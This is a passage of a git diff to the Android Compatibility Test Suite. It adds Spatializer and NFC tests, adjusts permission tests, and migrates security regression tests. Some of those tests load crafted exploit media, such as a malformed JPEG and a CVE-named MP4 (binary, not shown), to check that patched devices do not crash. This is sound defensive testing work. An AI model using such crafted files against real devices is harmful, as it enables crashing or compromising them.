+import java.util.Arrays; +import java.util.List; import java.util.concurrent.Executors; import java.util.concurrent.LinkedBlockingQueue; import java.util.concurrent.TimeUnit; @@ -38,6 +44,7 @@ public class SpatializerTest extends CtsAndroidTestCase { private AudioManager mAudioManager; private static final String TAG = "SpatializerTest"; + private static final int LISTENER_WAIT_TIMEOUT_MS = 3000; @Override protected void setUp() throws Exception { @@ -45,12 +52,17 @@ public class SpatializerTest extends CtsAndroidTestCase { mAudioManager = (AudioManager) getContext().getSystemService(AudioManager.class); } - public void testGetSpatializer() { + @Override + protected void tearDown() throws Exception { + getInstrumentation().getUiAutomation().dropShellPermissionIdentity(); + } + + public void testGetSpatializer() throws Exception { Spatializer spat = mAudioManager.getSpatializer(); assertNotNull("Spatializer shouldn't be null", spat); } - public void testUnsupported() { + public void testUnsupported() throws Exception { Spatializer spat = mAudioManager.getSpatializer(); if (spat.getImmersiveAudioLevel() != Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) { Log.i(TAG, "skipping testUnsupported, functionality supported"); @@ -60,7 +72,234 @@ public class SpatializerTest extends CtsAndroidTestCase { assertFalse(spat.isAvailable()); } - public void testSpatializerStateListenerManagement() { + public void testSupportedDevices() throws Exception { + Spatializer spat = mAudioManager.getSpatializer(); + if (spat.getImmersiveAudioLevel() == Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) { + Log.i(TAG, "skipping testSupportedDevices, functionality unsupported"); + return; + } + + final AudioDeviceAttributes device = new AudioDeviceAttributes( + AudioDeviceAttributes.ROLE_OUTPUT, AudioDeviceInfo.TYPE_BLUETOOTH_A2DP, "bla"); + // try to add/remove compatible device without permission, expect failure + assertThrows("Able to call addCompatibleAudioDevice without permission", + SecurityException.class, + () -> spat.addCompatibleAudioDevice(device)); + assertThrows("Able to call removeCompatibleAudioDevice without permission", + SecurityException.class, + () -> spat.removeCompatibleAudioDevice(device)); + assertThrows("Able to call getCompatibleAudioDevice without permission", + SecurityException.class, + () -> spat.getCompatibleAudioDevices()); + + // try again with permission, then add a device and remove it + getInstrumentation().getUiAutomation() + .adoptShellPermissionIdentity("android.permission.MODIFY_DEFAULT_AUDIO_EFFECTS"); + spat.addCompatibleAudioDevice(device); + List<AudioDeviceAttributes> compatDevices = spat.getCompatibleAudioDevices(); + assertTrue("added device not in list of compatible devices", + compatDevices.contains(device)); + spat.removeCompatibleAudioDevice(device); + compatDevices = spat.getCompatibleAudioDevices(); + assertFalse("removed device still in list of compatible devices", + compatDevices.contains(device)); + + getInstrumentation().getUiAutomation().dropShellPermissionIdentity(); + } + + public void testHeadTrackingListener() throws Exception { + Spatializer spat = mAudioManager.getSpatializer(); + if (spat.getImmersiveAudioLevel() == Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) { + Log.i(TAG, "skipping testHeadTrackingListener, functionality unsupported"); + return; + } + + // try to call any head tracking method without permission + assertThrows("Able to call getHeadTrackingMode without permission", + SecurityException.class, + () -> spat.getHeadTrackingMode()); + assertThrows("Able to call getDesiredHeadTrackingMode without permission", + SecurityException.class, + () -> spat.getDesiredHeadTrackingMode()); + assertThrows("Able to call getSupportedHeadTrackingModes without permission", + SecurityException.class, + () -> spat.getSupportedHeadTrackingModes()); + assertThrows("Able to call setDesiredHeadTrackingMode without permission", + SecurityException.class, + () -> spat.setDesiredHeadTrackingMode( + Spatializer.HEAD_TRACKING_MODE_RELATIVE_DEVICE)); + final MyHeadTrackingModeListener listener = new MyHeadTrackingModeListener(); + assertThrows("Able to call addOnHeadTrackingModeChangedListener without permission", + SecurityException.class, + () -> spat.addOnHeadTrackingModeChangedListener(Executors.newSingleThreadExecutor(), + listener)); + assertThrows("Able to call removeOnHeadTrackingModeChangedListener without permission", + SecurityException.class, + () -> spat.removeOnHeadTrackingModeChangedListener(listener)); + + getInstrumentation().getUiAutomation() + .adoptShellPermissionIdentity("android.permission.MODIFY_DEFAULT_AUDIO_EFFECTS"); + + // argument validation + assertThrows("Able to call addOnHeadTrackingModeChangedListener with null Executor", + NullPointerException.class, + () -> spat.addOnHeadTrackingModeChangedListener(null, listener)); + assertThrows("Able to call addOnHeadTrackingModeChangedListener with null listener", + NullPointerException.class, + () -> spat.addOnHeadTrackingModeChangedListener(Executors.newSingleThreadExecutor(), + null)); + assertThrows("Able to call removeOnHeadTrackingModeChangedListener with null listener", + NullPointerException.class, + () -> spat.removeOnHeadTrackingModeChangedListener(null)); + + // test of functionality + spat.setEnabled(true); + List<Integer> supportedModes = spat.getSupportedHeadTrackingModes(); + Assert.assertNotNull("Invalid null list of tracking modes", supportedModes); + Log.i(TAG, "Reported supported head tracking modes:"+ supportedModes); + if (!supportedModes.contains(Spatializer.HEAD_TRACKING_MODE_RELATIVE_DEVICE) + && !supportedModes.contains(Spatializer.HEAD_TRACKING_MODE_RELATIVE_WORLD) + && !supportedModes.contains(Spatializer.HEAD_TRACKING_MODE_OTHER)) { + // no head tracking is supported, verify it is correctly reported by the API + assertEquals("When no head tracking mode supported, list of modes must be empty", + 0, supportedModes.size()); + // TODO: to be enforced + //assertEquals("Invalid mode when no head tracking mode supported", + // Spatializer.HEAD_TRACKING_MODE_UNSUPPORTED, spat.getHeadTrackingMode()); + Log.i(TAG, "no headtracking modes supported, stop test"); + return; + } + int trackingModeToUse; + if (supportedModes.contains(Spatializer.HEAD_TRACKING_MODE_RELATIVE_DEVICE)) { + trackingModeToUse = Spatializer.HEAD_TRACKING_MODE_RELATIVE_DEVICE; + } else { + trackingModeToUse = Spatializer.HEAD_TRACKING_MODE_RELATIVE_WORLD; + } + spat.setDesiredHeadTrackingMode(Spatializer.HEAD_TRACKING_MODE_DISABLED); + spat.addOnHeadTrackingModeChangedListener(Executors.newSingleThreadExecutor(), listener); + spat.setDesiredHeadTrackingMode(trackingModeToUse); + Integer observedDesired = listener.getDesired(); + assertNotNull("No desired head tracking mode change reported", observedDesired); + assertEquals("Wrong reported desired tracking mode", trackingModeToUse, + observedDesired.intValue()); + assertEquals("Set desired mode not returned by getter", spat.getDesiredHeadTrackingMode(), + trackingModeToUse); + final int actualMode = spat.getHeadTrackingMode(); + // not failing test if modes differ, just logging + if (trackingModeToUse != actualMode) { + Log.i(TAG, "head tracking mode desired:" + trackingModeToUse + " actual mode:" + + actualMode); + } + spat.removeOnHeadTrackingModeChangedListener(listener); + } + + public void testSpatializerOutput() throws Exception { + Spatializer spat = mAudioManager.getSpatializer(); + if (spat.getImmersiveAudioLevel() == Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) { + Log.i(TAG, "skipping testSpatializerOutput, functionality unsupported"); + return; + } + + // try to call any output method without permission + assertThrows("Able to call getOutput without permission", + SecurityException.class, + () -> spat.getOutput()); + final MyOutputChangedListener listener = new MyOutputChangedListener(); + assertThrows("Able to call setOnSpatializerOutputChangedListener without permission", + SecurityException.class, + () -> spat.setOnSpatializerOutputChangedListener( + Executors.newSingleThreadExecutor(), listener)); + assertThrows("Able to call clearOnSpatializerOutputChangedListener with no listener", + SecurityException.class, + () -> spat.clearOnSpatializerOutputChangedListener()); + + getInstrumentation().getUiAutomation() + .adoptShellPermissionIdentity("android.permission.MODIFY_DEFAULT_AUDIO_EFFECTS"); + + // argument validation + assertThrows("Able to call setOnSpatializerOutputChangedListener with null Executor", + NullPointerException.class, + () -> spat.setOnSpatializerOutputChangedListener(null, listener)); + assertThrows("Able to call setOnSpatializerOutputChangedListener with null listener", + NullPointerException.class, + () -> spat.setOnSpatializerOutputChangedListener( + Executors.newSingleThreadExecutor(), null)); + + spat.getOutput(); + // output doesn't change upon playback, so at this point only exercising + // registering / clearing of output listener under permission + spat.clearOnSpatializerOutputChangedListener(); // this is to clear the client listener ref + spat.setOnSpatializerOutputChangedListener(Executors.newSingleThreadExecutor(), listener); + spat.clearOnSpatializerOutputChangedListener(); + assertThrows("Able to call clearOnSpatializerOutputChangedListener with no listener", + IllegalStateException.class, + () -> spat.clearOnSpatializerOutputChangedListener()); + } + + public void testExercisePose() throws Exception { + Spatializer spat = mAudioManager.getSpatializer(); + if (spat.getImmersiveAudioLevel() == Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) { + Log.i(TAG, "skipping testExercisePose, functionality unsupported"); + return; + } + + // argument validation + assertThrows("Able to call setGlobalTransform without a 6-float array", + IllegalArgumentException.class, + () -> spat.setGlobalTransform(new float[5])); + assertThrows("Able to call setGlobalTransform without a null array", + NullPointerException.class, + () -> spat.setGlobalTransform(null)); + final MyPoseUpdatedListener listener = new MyPoseUpdatedListener(); + assertThrows("Able to call setOnHeadToSoundstagePoseUpdatedListener with null Executor", + NullPointerException.class, + () -> spat.setOnHeadToSoundstagePoseUpdatedListener(null, listener)); + assertThrows("Able to call setOnHeadToSoundstagePoseUpdatedListener with null listener", + NullPointerException.class, + () -> spat.setOnHeadToSoundstagePoseUpdatedListener( + Executors.newSingleThreadExecutor(), null)); + assertThrows("Able to call clearOnHeadToSoundstagePoseUpdatedListener with no listener", + IllegalStateException.class, + () -> spat.clearOnHeadToSoundstagePoseUpdatedListener()); + + getInstrumentation().getUiAutomation() + .adoptShellPermissionIdentity("android.permission.MODIFY_DEFAULT_AUDIO_EFFECTS"); + // TODO once headtracking is properly reported: check pose changes on recenter and transform + spat.setOnHeadToSoundstagePoseUpdatedListener( + Executors.newSingleThreadExecutor(), listener); + // oneway call from client to AudioService, can't check for exception earlier + spat.recenterHeadTracker(); + // oneway call from client to AudioService, can't check for exception earler + spat.setGlobalTransform(new float[6]); + spat.clearOnHeadToSoundstagePoseUpdatedListener(); + } + + public void testEffectParameters() throws Exception { + Spatializer spat = mAudioManager.getSpatializer(); + if (spat.getImmersiveAudioLevel() == Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) { + Log.i(TAG, "skipping testEffectParameters, functionality unsupported"); + return; + } + + // argument validation + assertThrows("Able to call setEffectParameter with null value", + NullPointerException.class, + () -> spat.setEffectParameter(0, null)); + assertThrows("Able to call getEffectParameter with null value", + NullPointerException.class, + () -> spat.getEffectParameter(0, null)); + + // permission check + byte[] val = new byte[4]; + assertThrows("Able to call setEffectParameter without permission", + SecurityException.class, + () -> spat.setEffectParameter(0, val)); + assertThrows("Able to call getEffectParameter without permission", + SecurityException.class, + () -> spat.getEffectParameter(0, val)); + } + + public void testSpatializerStateListenerManagement() throws Exception { final Spatializer spat = mAudioManager.getSpatializer(); final MySpatStateListener stateListener = new MySpatStateListener(); @@ -100,7 +339,7 @@ public class SpatializerTest extends CtsAndroidTestCase { () -> spat.removeOnSpatializerStateChangedListener(stateListener)); } - public void testMinSpatializationCapabilities() { + public void testMinSpatializationCapabilities() throws Exception { Spatializer spat = mAudioManager.getSpatializer(); if (spat.getImmersiveAudioLevel() == Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) { Log.i(TAG, "skipping testMinSpatializationCapabilities, no Spatializer"); @@ -140,10 +379,8 @@ public class SpatializerTest extends CtsAndroidTestCase { stateListener); getInstrumentation().getUiAutomation() .adoptShellPermissionIdentity("android.permission.MODIFY_DEFAULT_AUDIO_EFFECTS"); - spat.setEnabled(!spatEnabled); - getInstrumentation().getUiAutomation() - .dropShellPermissionIdentity(); + getInstrumentation().getUiAutomation().dropShellPermissionIdentity(); assertEquals("VirtualizerStage enabled state differ", !spatEnabled, spat.isEnabled()); Boolean enabled = stateListener.getEnabled(); @@ -155,61 +392,15 @@ public class SpatializerTest extends CtsAndroidTestCase { static class MySpatStateListener implements Spatializer.OnSpatializerStateChangedListener { - private final Object mCbEnaLock = new Object(); - private final Object mCbAvailLock = new Object(); - @GuardedBy("mCbEnaLock") - private Boolean mEnabled = null; - @GuardedBy("mCbEnaLock") private final LinkedBlockingQueue<Boolean> mEnabledQueue = - new LinkedBlockingQueue<Boolean>(); - @GuardedBy("mCbAvailLock") - private Boolean mAvailable = null; - @GuardedBy("mCbAvailLock") - private final LinkedBlockingQueue<Boolean> mAvailableQueue = - new LinkedBlockingQueue<Boolean>(); - - private static final int LISTENER_WAIT_TIMEOUT_MS = 3000; + new LinkedBlockingQueue<Boolean>(1); + void reset() { - synchronized (mCbEnaLock) { - synchronized (mCbAvailLock) { - mEnabled = null; - mEnabledQueue.clear(); - mAvailable = null; - mAvailableQueue.clear(); - } - } + mEnabledQueue.clear(); } - Boolean getEnabled() { - synchronized (mCbEnaLock) { - while (mEnabled == null) { - try { - mEnabled = mEnabledQueue.poll( - LISTENER_WAIT_TIMEOUT_MS, TimeUnit.MILLISECONDS); - if (mEnabled == null) { // timeout - break; - } - } catch (InterruptedException e) { - } - } - } - return mEnabled; - } - - Boolean getAvailable() { - synchronized (mCbAvailLock) { - while (mAvailable == null) { - try { - mAvailable = mAvailableQueue.poll( - LISTENER_WAIT_TIMEOUT_MS, TimeUnit.MILLISECONDS); - if (mAvailable == null) { // timeout - break; - } - } catch (InterruptedException e) { - } - } - } - return mAvailable; + Boolean getEnabled() throws Exception { + return mEnabledQueue.poll(LISTENER_WAIT_TIMEOUT_MS, TimeUnit.MILLISECONDS); } MySpatStateListener() { @@ -218,24 +409,53 @@ public class SpatializerTest extends CtsAndroidTestCase { @Override public void onSpatializerEnabledChanged(Spatializer spat, boolean enabled) { - synchronized (mCbEnaLock) { - try { - mEnabledQueue.put(enabled); - } catch (InterruptedException e) { - fail("Failed to put enabled event in queue"); - } - } + Log.i(TAG, "onSpatializerEnabledChanged:" + enabled); + mEnabledQueue.offer(enabled); } @Override public void onSpatializerAvailableChanged(@NonNull Spatializer spat, boolean available) { - synchronized (mCbAvailLock) { - try { - mAvailableQueue.put(available); - } catch (InterruptedException e) { - fail("Failed to put available event in queue"); - } - } + Log.i(TAG, "onSpatializerAvailableChanged:" + available); + } + } + + static class MyHeadTrackingModeListener implements Spatializer.OnHeadTrackingModeChangedListener + { + private final LinkedBlockingQueue<Integer> mDesiredQueue = + new LinkedBlockingQueue<Integer>(1); + private final LinkedBlockingQueue<Integer> mRealQueue = + new LinkedBlockingQueue<Integer>(1); + + @Override + public void onHeadTrackingModeChanged(Spatializer spatializer, int mode) { + Log.i(TAG, "onHeadTrackingModeChanged:" + mode); + mRealQueue.offer(mode); + } + + @Override + public void onDesiredHeadTrackingModeChanged(Spatializer spatializer, int mode) { + Log.i(TAG, "onDesiredHeadTrackingModeChanged:" + mode); + mDesiredQueue.offer(mode); + } + + public Integer getDesired() throws Exception { + return mDesiredQueue.poll(LISTENER_WAIT_TIMEOUT_MS, TimeUnit.MILLISECONDS); + } + } + + static class MyOutputChangedListener implements Spatializer.OnSpatializerOutputChangedListener + { + @Override + public void onSpatializerOutputChanged(Spatializer spatializer, int output) { + Log.i(TAG, "onSpatializerOutputChanged:" + output); + } + } + + static class MyPoseUpdatedListener implements Spatializer.OnHeadToSoundstagePoseUpdatedListener + { + @Override + public void onHeadToSoundstagePoseUpdated(Spatializer spatializer, float[] pose) { + Log.i(TAG, "onHeadToSoundstagePoseUpdated:" + Arrays.toString(pose)); } } } diff --git a/tests/tests/nfc/src/android/nfc/cts/NfcPreferredPaymentTest.java b/tests/tests/nfc/src/android/nfc/cts/NfcPreferredPaymentTest.java index f25be15a238..c769a09432b 100644 --- a/tests/tests/nfc/src/android/nfc/cts/NfcPreferredPaymentTest.java +++ b/tests/tests/nfc/src/android/nfc/cts/NfcPreferredPaymentTest.java @@ -48,6 +48,9 @@ public class NfcPreferredPaymentTest { private static final ComponentName CtsNfcTestService = new ComponentName("android.nfc.cts", "android.nfc.cts.CtsMyHostApduService"); + private static final int MAX_TIMEOUT_MS = 5000; + private static final int TEST_DURATION_MS = 100; + private NfcAdapter mAdapter; private CardEmulation mCardEmulation; private Context mContext; @@ -67,6 +70,7 @@ public class NfcPreferredPaymentTest { Settings.Secure.putString(mContext.getContentResolver(), NFC_PAYMENT_DEFAULT_COMPONENT, CtsNfcTestService.flattenToString()); + waitPreferredPaymentSettingDone(); } @After @@ -146,4 +150,29 @@ public class NfcPreferredPaymentTest { fail("Unexpected Exception " + e); } } + + public void waitPreferredPaymentSettingDone() { + try { + for (int i = 0; i < MAX_TIMEOUT_MS / TEST_DURATION_MS; i++) { + CharSequence description = + mCardEmulation.getDescriptionForPreferredPaymentService(); + + if (description != null && description.toString().equals(mDescription)) return; + + msleep(TEST_DURATION_MS); + } + + fail("Unable to set the preferred payment service"); + } catch (Exception e) { + fail("Unexpected Exception " + e); + } + } + + private void msleep(int millis) { + try { + Thread.sleep(millis); + } catch (InterruptedException e) { + fail("Unexpected Exception " + e); + } + } } diff --git a/tests/tests/os/UffdGc/src/android/os/cts/uffdgc/UserfaultfdTest.java b/tests/tests/os/UffdGc/src/android/os/cts/uffdgc/UserfaultfdTest.java index b5374891314..5ebe92c51ae 100644 --- a/tests/tests/os/UffdGc/src/android/os/cts/uffdgc/UserfaultfdTest.java +++ b/tests/tests/os/UffdGc/src/android/os/cts/uffdgc/UserfaultfdTest.java @@ -39,8 +39,8 @@ public final class UserfaultfdTest { @Before public void setUp() { boolean mShouldRunTest = !(FeatureUtil.isAutomotive() - && ApiLevelUtil.isAtMost(VERSION_CODES.S)); - Assume.assumeTrue("Skip userfaultfd tests on Automotive targets till S", mShouldRunTest); + && ApiLevelUtil.isAtMost(VERSION_CODES.S_V2)); + Assume.assumeTrue("Skip userfaultfd tests on Automotive targets till S_V2", mShouldRunTest); Assume.assumeTrue("Skip userfaultfd tests on kernels lower than 5.4", confirmKernelVersion()); } diff --git a/tests/tests/permission2/res/raw/automotive_android_manifest.xml b/tests/tests/permission2/res/raw/automotive_android_manifest.xml index 4117a78a5f2..d6ce2e19f4f 100644 --- a/tests/tests/permission2/res/raw/automotive_android_manifest.xml +++ b/tests/tests/permission2/res/raw/automotive_android_manifest.xml @@ -435,11 +435,6 @@ android:label="@string/car_permission_label_collect_car_watchdog_metrics" android:description="@string/car_permission_desc_collect_car_watchdog_metrics"/> - <permission android:name="android.car.permission.USE_CAR_TELEMETRY_SERVICE" - android:protectionLevel="signature|privileged" - android:label="@string/car_permission_label_use_telemetry_service" - android:description="@string/car_permission_desc_use_telemetry_service"/> - <permission android:name="android.car.permission.CONTROL_CAR_EVS_ACTIVITY" android:protectionLevel="signature|privileged" android:label="@string/car_permission_label_control_evs_activity" diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java index 35ed018e9a7..3b20f6d4229 100644 --- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java +++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java @@ -67,6 +67,9 @@ public class PermissionPolicyTest { private static final String MANAGE_COMPANION_DEVICES_PERMISSION = "android.permission.MANAGE_COMPANION_DEVICES"; + private static final String ALLOW_SLIPPERY_TOUCHES_PERMISSION + = "android.permission.ALLOW_SLIPPERY_TOUCHES"; + private static final String LOG_TAG = "PermissionProtectionTest"; private static final String PLATFORM_PACKAGE_NAME = "android"; @@ -441,6 +444,9 @@ public class PermissionPolicyTest { return parseDate(SECURITY_PATCH).before(HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PATCH_DATE); case MANAGE_COMPANION_DEVICES_PERMISSION: return parseDate(SECURITY_PATCH).before(MANAGE_COMPANION_DEVICES_PATCH_DATE); + case ALLOW_SLIPPERY_TOUCHES_PERMISSION: + // In R and S branches, skip this permission + return true; default: return false; } diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTest30WithBluetooth.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTest30WithBluetooth.kt index 3cef5471316..c3b2bb53bea 100644 --- a/tests/tests/permission3/src/android/permission3/cts/PermissionTest30WithBluetooth.kt +++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTest30WithBluetooth.kt @@ -26,8 +26,10 @@ import android.bluetooth.cts.BTAdapterUtils import android.content.Intent import android.content.pm.PackageManager import android.content.pm.PackageManager.FLAG_PERMISSION_REVOKED_COMPAT +import android.location.LocationManager import android.os.Build import android.os.Process +import android.os.UserHandle import androidx.test.InstrumentationRegistry import androidx.test.filters.SdkSuppress import com.android.compatibility.common.util.SystemUtil.runShellCommandOrThrow @@ -53,6 +55,8 @@ class PermissionTest30WithBluetooth : BaseUsePermissionTest() { "android.permission3.cts.usepermission" private lateinit var bluetoothAdapter: BluetoothAdapter private var bluetoothAdapterWasEnabled: Boolean = false + private val locationManager = context.getSystemService(LocationManager::class.java)!! + private var locationWasEnabled: Boolean = false private enum class BluetoothScanResult { UNKNOWN, ERROR, EXCEPTION, EMPTY, FILTERED, FULL @@ -78,6 +82,28 @@ class PermissionTest30WithBluetooth : BaseUsePermissionTest() { enableTestMode() } + @Before + fun enableLocation() { + val userHandle: UserHandle = Process.myUserHandle() + locationWasEnabled = locationManager.isLocationEnabledForUser(userHandle) + if (!locationWasEnabled) { + runWithShellPermissionIdentity { + locationManager.setLocationEnabledForUser(true, userHandle) + } + } + } + + @After + fun disableLocation() { + val userHandle: UserHandle = Process.myUserHandle() + + if (!locationWasEnabled) { + runWithShellPermissionIdentity { + locationManager.setLocationEnabledForUser(false, userHandle) + } + } + } + @After fun disableBluetooth() { assumeTrue(supportsBluetooth()) @@ -91,6 +117,9 @@ class PermissionTest30WithBluetooth : BaseUsePermissionTest() { @Test fun testGivenBluetoothIsDeniedWhenScanIsAttemptedThenThenGetEmptyScanResult() { + assertTrue("Please enable location to run this test. Bluetooth scanning " + + "requires location to be enabled.", locationManager.isLocationEnabled()) + assertBluetoothRevokedCompatState(revoked = false) // Should return empty while the app does not have location assertEquals(BluetoothScanResult.EMPTY, scanForBluetoothDevices()) diff --git a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java index 97dfd377517..9edd6ccc0a0 100644 --- a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java +++ b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java @@ -50,10 +50,8 @@ public class SettingsPanelTest { private static final int TIMEOUT = 8000; private static final String RESOURCE_DONE = "done"; - private static final String RESOURCE_INTERNET_DIALOG_DONE = "done_button"; private static final String RESOURCE_SEE_MORE = "see_more"; private static final String RESOURCE_TITLE = "panel_title"; - private static final String SYSTEMUI_PACKAGE_NAME = "com.android.systemui"; private String mSettingsPackage; private String mLauncherPackage; @@ -98,15 +96,6 @@ public class SettingsPanelTest { // Check correct package is opened @Test - public void internetDialog_correctPackage() { - launchInternetDialog(); - - String currentPackage = mDevice.getCurrentPackageName(); - - assertThat(currentPackage).isEqualTo(SYSTEMUI_PACKAGE_NAME); - } - - @Test public void volumePanel_correctPackage() { assumeTrue(mHasTouchScreen); launchVolumePanel(); @@ -135,28 +124,6 @@ public class SettingsPanelTest { } @Test - public void internetDialog_doneClosesDialog() { - assumeTrue(mHasTouchScreen); - // Launch panel - launchInternetDialog(); - String currentPackage = mDevice.getCurrentPackageName(); - assertThat(currentPackage).isEqualTo(SYSTEMUI_PACKAGE_NAME); - - // Click the done button - if (mHasTouchScreen) { - mDevice.findObject( - By.res(SYSTEMUI_PACKAGE_NAME, RESOURCE_INTERNET_DIALOG_DONE)).click(); - mDevice.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT); - } else { - mDevice.pressBack(); - } - - // Assert that we have left the panel - currentPackage = mDevice.getCurrentPackageName(); - assertThat(currentPackage).isNotEqualTo(SYSTEMUI_PACKAGE_NAME); - } - - @Test public void volumePanel_doneClosesPanel() { assumeTrue(mHasTouchScreen); // Launch panel @@ -257,21 +224,6 @@ public class SettingsPanelTest { launchPanel(Settings.Panel.ACTION_VOLUME); } - private void launchInternetDialog() { - // Start from the home screen - mDevice.pressHome(); - mDevice.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT); - - Intent intent = new Intent(Settings.Panel.ACTION_INTERNET_CONNECTIVITY); - intent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND) - .setPackage(SYSTEMUI_PACKAGE_NAME); - - mContext.sendBroadcast(intent); - - // Wait for the app to appear - mDevice.wait(Until.hasObject(By.pkg(SYSTEMUI_PACKAGE_NAME).depth(0)), TIMEOUT); - } - private void launchNfcPanel() { assumeTrue(mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_NFC)); launchPanel(Settings.Panel.ACTION_NFC); diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp index 5838d27729b..b82b188f2b1 100644 --- a/tests/tests/security/Android.bp +++ b/tests/tests/security/Android.bp @@ -33,6 +33,7 @@ android_test { "compatibility-common-util-devicesidelib", "guava", "platform-test-annotations", + "sts-device-util", "hamcrest-library", ], libs: [ @@ -60,6 +61,7 @@ android_test { "src/**/*.java", "src/**/*.kt", "src/android/security/cts/activity/ISecureRandomService.aidl", + "aidl/android/security/cts/IBitmapService.aidl", "aidl/android/security/cts/IIsolatedService.aidl", "aidl/android/security/cts/CVE_2021_0327/IBadProvider.aidl", ], diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml index 17aa9e8f345..e43d6aa0750 100644 --- a/tests/tests/security/AndroidManifest.xml +++ b/tests/tests/security/AndroidManifest.xml @@ -48,6 +48,10 @@ <service android:name="android.security.cts.activity.SecureRandomService" android:process=":secureRandom"/> + + <service android:name="android.security.cts.BitmapService" + android:process=":bitmap_service" /> + <activity android:name="android.security.cts.MotionEventTestActivity" android:label="Test MotionEvent" android:exported="true"> diff --git a/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl new file mode 100644 index 00000000000..b9694c32af7 --- /dev/null +++ b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl @@ -0,0 +1,25 @@ +/* + * Copyright 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +parcelable BitmapWrapper; + +interface IBitmapService { + int getAllocationSize(in BitmapWrapper bitmap); + boolean didReceiveBitmap(in BitmapWrapper bitmap); + boolean ping(); +} diff --git a/tests/tests/security/res/raw/cve_2020_11135.mp4 b/tests/tests/security/res/raw/cve_2020_11135.mp4 Binary files differnew file mode 100644 index 00000000000..55b6955d492 --- /dev/null +++ b/tests/tests/security/res/raw/cve_2020_11135.mp4 diff --git a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java index 9480251f37c..f16b8fb2111 100644 --- a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java +++ b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java @@ -15,26 +15,30 @@ */ package android.security.cts; +import static org.junit.Assert.*; + import android.app.ActivityManager; import android.app.ApplicationExitInfo; import android.content.Context; import android.os.IBinder; import android.platform.test.annotations.AsbSecurityTest; import android.util.Log; +import androidx.test.runner.AndroidJUnit4; import androidx.test.InstrumentationRegistry; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import junit.framework.TestCase; import java.lang.reflect.InvocationTargetException; -public class ActivityManagerTest extends TestCase { +import org.junit.runner.RunWith; +import org.junit.Test; - @Override - protected void setUp() throws Exception { - super.setUp(); - } +@RunWith(AndroidJUnit4.class) +public class ActivityManagerTest extends StsExtraBusinessLogicTestCase { @AsbSecurityTest(cveBugId = 19394591) + @Test public void testActivityManager_injectInputEvents() throws ClassNotFoundException { try { /* @@ -53,6 +57,7 @@ public class ActivityManagerTest extends TestCase { // b/144285917 @AsbSecurityTest(cveBugId = 144285917) + @Test public void testActivityManager_attachNullApplication() { SecurityException securityException = null; Exception unexpectedException = null; @@ -81,6 +86,7 @@ public class ActivityManagerTest extends TestCase { // b/166667403 @AsbSecurityTest(cveBugId = 166667403) + @Test public void testActivityManager_appExitReasonPackageNames() { final String mockPackage = "com.foo.bar"; final String realPackage = "com.android.compatibility.common.deviceinfo"; diff --git a/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java b/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java index 5d297c6a9b2..fca75a22425 100644 --- a/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java +++ b/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java @@ -19,21 +19,28 @@ package android.security.cts; import android.graphics.Bitmap; import android.graphics.BitmapFactory; import android.platform.test.annotations.AsbSecurityTest; -import android.test.AndroidTestCase; +import androidx.test.runner.AndroidJUnit4; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; +import org.junit.runner.RunWith; +import org.junit.Test; + +import static org.junit.Assert.*; import java.io.InputStream; import android.security.cts.R; -public class AllocatePixelRefIntOverflowTest extends AndroidTestCase { +@RunWith(AndroidJUnit4.class) +public class AllocatePixelRefIntOverflowTest extends StsExtraBusinessLogicTestCase { /** * Verifies that the device is not vulnerable to ANDROID-19270126: Android * BitmapFactory.decodeStream JPG allocPixelRef integer overflow */ @AsbSecurityTest(cveBugId = 19394591) + @Test public void testAllocateJavaPixelRefIntOverflow() { - InputStream exploitImage = mContext.getResources().openRawResource( + InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource( R.raw.cve_2015_1531_b_19270126); /** * The decodeStream method results in SIGSEGV (Segmentation fault) on unpatched devices diff --git a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java index 73536e35b0f..397c0129661 100644 --- 